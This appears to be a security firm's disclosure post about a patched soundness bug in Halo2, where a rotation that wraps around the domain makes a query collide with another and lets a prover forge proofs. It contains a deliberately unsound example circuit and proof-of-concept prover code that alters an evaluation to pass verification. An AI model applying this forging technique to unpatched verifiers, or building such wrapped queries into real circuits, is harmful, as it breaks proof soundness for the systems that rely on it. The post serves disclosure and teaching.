We recently discovered a subtle but important soundness issue in Halo2, which we’ve named the query collision bug. It affects certain edge-case circuits and was present in widely used versions, including the main Zcash implementation and PSE’s fork. We disclosed the issue to the relevant teams—including Zcash, PSE, and Axiom, all of whom have since patched it. While no known production circuits were affected, the bug reveals a surprising vulnerability in the proving system that deserves attention.
The bug occurs when the same polynomial is queried at the same evaluation point more than once in the multipoint opening argument. As a result, one of the evaluations is silently ignored during multi-opening, allowing a malicious prover to forge evaluations and pass verification. In practice, adding one extra (contrived) column query can introduce a query collision and break the soundness of the circuit.
In this blog post we explain the root cause of the bug, demonstrate how it can be exploited with a concrete example, and discuss how it was fixed in upstream Halo2.
Background: How Halo2 Handles Queries
Halo2 is a zero-knowledge proof framework based on the PLONK protocol, developed by the Electric Coin Company (ECC) for Zcash. Circuits in Halo2 are structured as tables: each column holds a sequence of values, and each row represents a step in the computation. Constraints are defined by querying values in these columns at specific offsets (rotations).
Each column is encoded as a polynomial over a finite field. Querying a column at a certain rotation corresponds to evaluating its polynomial at a specific point in the domain. For example, querying column a
at the current row means evaluating the polynomial $A$ at a challenge point $r$. Querying the next row is evaluating at $\omega r$, where $\omega$ is a primitive root of unity and $\omega r$ is the next point of $r$ in the multiplicative subgroup.
Constraints among columns are enforced using gates. For instance, the following gate queries the current row of column1
and the next row of column2
, enforcing that column1[i] = column2[i+1]
for all $i$:
// Create a gate that checks if two columns are equal at an offset.
meta.create_gate("offset equal gate", |meta| {
let a1 = meta.query_advice(column1, Rotation::cur()); // Query current row of column1
let a2 = meta.query_advice(column2, Rotation::next()); // Query next row of column2
vec![(a1 - a2)] // Enforce a1 - a2 = 0
});
At the proof system level, the prover commits to these columns using a polynomial commitment scheme (PCS) such as IPA or KZG. The verifier receives these commitments and checks the gate constraints at a random point $x$.
For the above “offset equal gate”, the prover represents column1
and column2
as polynomials $f_1$ and $f_2$, commits to them, and sends the commitments to the verifier. The verifier wants to check that $f_1(x) - f_2(\omega x) = 0$ for all $x$ in the evaluation domain. The prover convinces the verifier by sending a commitment to a polynomial $h$ and claiming $f_1(x) - f_2(\omega x) = V(x)h(x)$, where $V(x)$ is the vanishing polynomial that is zero over the domain. The verifier picks a random point $r$ (via Fiat-Shamir) and checks $f_1(r) - f_2(\omega r) = V(r)h(r)$. If this holds at a random $r$, then by the Schwartz-Zippel lemma, the constraint holds over the whole domain with negligible error. Thus, $f_1$ and $f_2$ are equal at the required offsets, and the “offset equal gate” is satisfied. To perform this check, the verifier needs to evaluate the committed polynomials at certain points, which is achieved via polynomial commitment openings.
In practice, circuits often have many columns and gates, resulting in the need to evaluate multiple polynomials at multiple points. To make this efficient, Halo2 uses multi-point opening techniques—specifically, the SHPLONK scheme. This allows the verifier to batch many queries across different polynomials and evaluation points into a single proof. Internally, the verifier batches the evaluations, computes a linear combination of all commitments and claimed evaluations, and checks a single aggregated equation to ensure all constraints are satisfied.
This optimization greatly improves performance, but as we’ll see in the next section, the implementation introduces subtle pitfalls when queries collide.
Multipoint Openings and the Query Collision Bug
The multipoint opening argument is used to efficiently evaluate multiple polynomial commitments at multiple points. Conceptually, the implementation maintains a mapping from (Commitment, QueryPoint)
to Value
to track queries. Here, the key is a tuple of the polynomial commitment and the query point, and the value is the evaluation of the polynomial at that point. A “query collision” occurs when two independent queries have the same key—meaning they refer to the same commitment and the same evaluation point—even if the expected values are different. When this happens, one evaluation silently overwrites the other in the map, causing one to be ignored during verification. This is a critical flaw: a malicious prover can exploit this to forge a proof, since one of the evaluations will not be checked in the polynomial commitment opening.
Halo2’s frontend tries to deduplicate queries. For example, if a user queries column a
at the current row twice, the frontend merges these into a single query, so only one evaluation is performed. However, there are two scenarios where query collisions can still occur:
- Querying two columns that have the same commitment value at the same point. For example, querying the current row of columns
a
andb
where both columns are identical, so their commitments are equal. - Querying the same column at two different rotations (which are not deduplicated by the frontend), but which correspond to the same evaluation point due to domain wrapping.
Case 1 is not an issue in Zcash’s and PSE’s Halo2 because commitments are compared by reference, not by value. Even if two commitments have the same value, they are treated as distinct in the map if they are different objects in memory. This prevents collisions in this case, but could become an issue if future implementations change this behavior.
impl<'r, 'params: 'r, C: CurveAffine> PartialEq for CommitmentReference<'r, 'params, C> {
fn eq(&self, other: &Self) -> bool {
match (self, other) {
(&CommitmentReference::Commitment(a), &CommitmentReference::Commitment(b)) => {
std::ptr::eq(a, b)
}
(&CommitmentReference::MSM(a), &CommitmentReference::MSM(b)) => std::ptr::eq(a, b),
_ => false,
}
}
}
Case 2 is more subtle and affects all widely used Halo2 versions. In Halo2, the table length is always a power of two, $2^k$, and the evaluation domain is a multiplicative subgroup of this size. Given a challenge point $r$, rotating it by $2^k$ brings it back to the same point: $\omega^{2^k} \cdot r = r$. This means that querying a column at Rotation(0)
and Rotation(2^k)
actually refers to the same evaluation point. However, because these are specified as different rotations, the frontend does not deduplicate them, resulting in two queries to the same polynomial at the same point—a query collision. More generally, for any Rotation(a)
and Rotation(b)
, as long as $a \equiv b \pmod{2^k}$, they refer to the same position in the evaluation domain. This subtlety can easily be overlooked and is the root cause of the bug.
Below is an example circuit that demonstrates this issue. The “hack eq gate” queries the advice2
column at Rotation(256)
, which wraps around to the current row (assuming $2^k = 256$ for the table). As a result, advice2
is queried at the same point twice—once in the “hack eq gate” and once in the “eq gate”—triggering the query collision bug. In practice, any Rotation
value satisfying $\text{rotation} \equiv 0 \pmod{2^k}$ (such as $512$ or $2560$) will also wrap around and can cause similar collisions. This subtlety can be exploited by a malicious prover to forge a proof, as demonstrated in the next section.
// WARN: this circuit is not sound
fn configure(meta: &mut ConstraintSystem<F>) -> Self::Config {
let advice1 = meta.advice_column();
let advice2 = meta.advice_column();
let selector = meta.selector();
// Create the "normal" gate that checks if two advice columns are equal
meta.create_gate("eq gate", |meta| {
let a1 = meta.query_advice(advice1, Rotation::cur());
let a2 = meta.query_advice(advice2, Rotation::cur());
let sel = meta.query_selector(selector);
vec![sel * (a1 - a2)]
});
// Create the "hack" gate that query the wrapped row
meta.create_gate("hack eq gate", |meta| {
let a1 = meta.query_advice(advice1, Rotation::cur());
// Our circuit has total 2^k = 256 rows
// This is the wrapped current row of advice2 column because 256 = 0 mod 2^k
let wrapped_a2 = meta.query_advice(advice2, Rotation(256));
let sel = meta.query_selector(selector);
vec![sel * (a1 - wrapped_a2)]
});
[...]
}
Proof-of-Concept Attack
As shown above, any Halo2 circuit with a duplicated wrapped query is not sound. Here, we provide a proof-of-concept (PoC) demonstrating how to forge a proof by exploiting the query collision bug.
The following code snippet is the core logic added to the prover. It modifies the evaluation value of the second (colliding) query to pass the vanishing expression check. Due to the query collision bug, the second query is ignored in the multipoint opening argument, so this modification is never detected by the verifier.
// In order to pass the vanishing expression check, we modify the evaluation of the duplicate query.
// We can do this because in the commitment check the second item of the duplicate query will be ignored.
let mut advice_evals = self.get_advice_evals(x, &advice);
println!("origin advice evals {:?} ", advice_evals);
let sel_x = eval_polynomial(&self.pk.fixed_polys[0].values, *x);
// Get the calculated h(x) value: (y*gate1 + gate0) / (xn - 1)
// gate1 = sel(x) * (advice1(x) - advice2(x))
// gate0 = sel(x) * (advice1(x) - advice2(x * omega^256))
let fn_get_prover_h_x = |advice_evals: &Vec<<Scheme as CommitmentScheme>::Scalar>| {
(*y * sel_x * (advice_evals[0] - advice_evals[1]) + sel_x * (advice_evals[0] - advice_evals[2])) * (x_pow_n - Scheme::Scalar::ONE).invert().unwrap()
};
let calculated_h_x = fn_get_prover_h_x(&advice_evals);
println!("calculated h(X): {:?}", calculated_h_x);
// Get the committed h(x).
// If that's not a valid proof, the two h(x) should not match.
let committed_h_x = vanishing.h_x(x, x_pow_n, &self.pk.vk.domain, self.transcript);
println!("verifier expected h(x): {:?}", committed_h_x);
// Modify advice eval to match h(x)
let diff = (committed_h_x - calculated_h_x) * (x_pow_n - Scheme::Scalar::ONE) * (sel_x.invert().unwrap());
advice_evals[2] = advice_evals[2] - diff;
let modified_h_x = fn_get_prover_h_x(&advice_evals);
println!("prover modified h(X): {:?}", modified_h_x);
This code demonstrates how a malicious prover can adjust the witness to forge a proof that passes verification, even though the witness is invalid. You can run the example circuit with the following command to observe that the forged proof is accepted:
cargo run --package halo2_proofs --example query-collision-circuit-example
The Fix
This issue was first discovered during the audit of a downstream Halo2 fork. After confirming that upstream projects were affected, we promptly reported it to the relevant teams, including Zcash, PSE, Axiom, ezkl, and others. Fortunately, no impact was found in production deployments, and fixes have since been applied. Zcash’s fix can be found here.
The fix is straightforward: in the multipoint opening argument, the implementation should detect if there is a query collision where the same commitment and evaluation point are associated with conflicting values. If such a collision is found, the proof should be rejected. This ensures that all queries are checked consistently and prevents a malicious prover from exploiting the bug.
Conclusion
This post uncovered a critical soundness issue in Halo2, where a query collision in the multipoint opening argument allows a malicious prover to forge proofs by exploiting duplicate queries at the same evaluation point. We demonstrated how this subtle bug can break circuit soundness with just a single extra query, and provided a proof-of-concept attack.
Multipoint opening is a widely used optimization in zero-knowledge proof systems, so similar issues may exist in other frameworks that use this technique. Developers and auditors should be aware of these pitfalls and carefully review how queries are batched and deduplicated in their proof systems.
We would like to thank the Halo2 maintainers and all the teams involved for their prompt response and collaboration in addressing this issue. At zkSecurity, we remain committed to uncovering and mitigating security risks in zero-knowledge protocols and tooling, and to helping strengthen the entire ecosystem.